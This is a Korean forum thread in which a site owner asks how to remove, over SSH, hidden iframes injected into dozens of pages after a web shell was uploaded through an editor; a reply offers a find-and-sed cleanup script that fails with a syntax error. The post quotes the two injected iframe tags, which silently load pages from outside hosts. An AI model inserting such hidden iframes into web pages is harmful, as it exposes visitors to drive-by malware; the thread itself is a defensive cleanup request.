ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 923 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,660
14년 전 조회 1,050
14년 전 조회 1,340
14년 전 조회 857
14년 전 조회 984
14년 전 조회 780
14년 전 조회 1,108
14년 전 조회 1,006
14년 전 조회 427
14년 전 조회 562
14년 전 조회 641
14년 전 조회 948
14년 전 조회 770
14년 전 조회 770
14년 전 조회 756
14년 전 조회 1,160
14년 전 조회 861
14년 전 조회 865
14년 전 조회 881
14년 전 조회 687
14년 전 조회 1,746
14년 전 조회 1,516
14년 전 조회 944
14년 전 조회 771
14년 전 조회 1,840
14년 전 조회 1,205
14년 전 조회 1,040
14년 전 조회 805
14년 전 조회 1,510
14년 전 조회 3,769
14년 전 조회 2,429
14년 전 조회 1,122
14년 전 조회 740
14년 전 조회 793
14년 전 조회 1,312
14년 전 조회 984
14년 전 조회 1,357
14년 전 조회 1,402
14년 전 조회 1,422
14년 전 조회 626
14년 전 조회 866
14년 전 조회 2,745
14년 전 조회 765
14년 전 조회 1,232
14년 전 조회 812
14년 전 조회 689
14년 전 조회 1,228
14년 전 조회 658
14년 전 조회 1,339
14년 전 조회 924
14년 전 조회 1,579
14년 전 조회 1,509
14년 전 조회 1,021
14년 전 조회 1,255
14년 전 조회 941
14년 전 조회 1,647
14년 전 조회 1,227
14년 전 조회 1,221
14년 전 조회 1,502
14년 전 조회 1,400
14년 전 조회 826
14년 전 조회 899
14년 전 조회 669
14년 전 조회 843
14년 전 조회 1,591
14년 전 조회 2,345
14년 전 조회 2,242
14년 전 조회 1,879
14년 전 조회 1,420
14년 전 조회 1,499
14년 전 조회 1,277
14년 전 조회 1,535
14년 전 조회 643
14년 전 조회 1,274
14년 전 조회 640
14년 전 조회 1,086
14년 전 조회 858
14년 전 조회 1,970
14년 전 조회 741
14년 전 조회 2,561
14년 전 조회 979
14년 전 조회 818
14년 전 조회 2,918
14년 전 조회 685
14년 전 조회 960
14년 전 조회 499
14년 전 조회 822
14년 전 조회 603
14년 전 조회 1,294
14년 전 조회 729
14년 전 조회 1,101
14년 전 조회 722
14년 전 조회 652
14년 전 조회 631
14년 전 조회 1,340
14년 전 조회 801
14년 전 조회 690
14년 전 조회 712
14년 전 조회 1,379
14년 전 조회 1,389
🐛 버그신고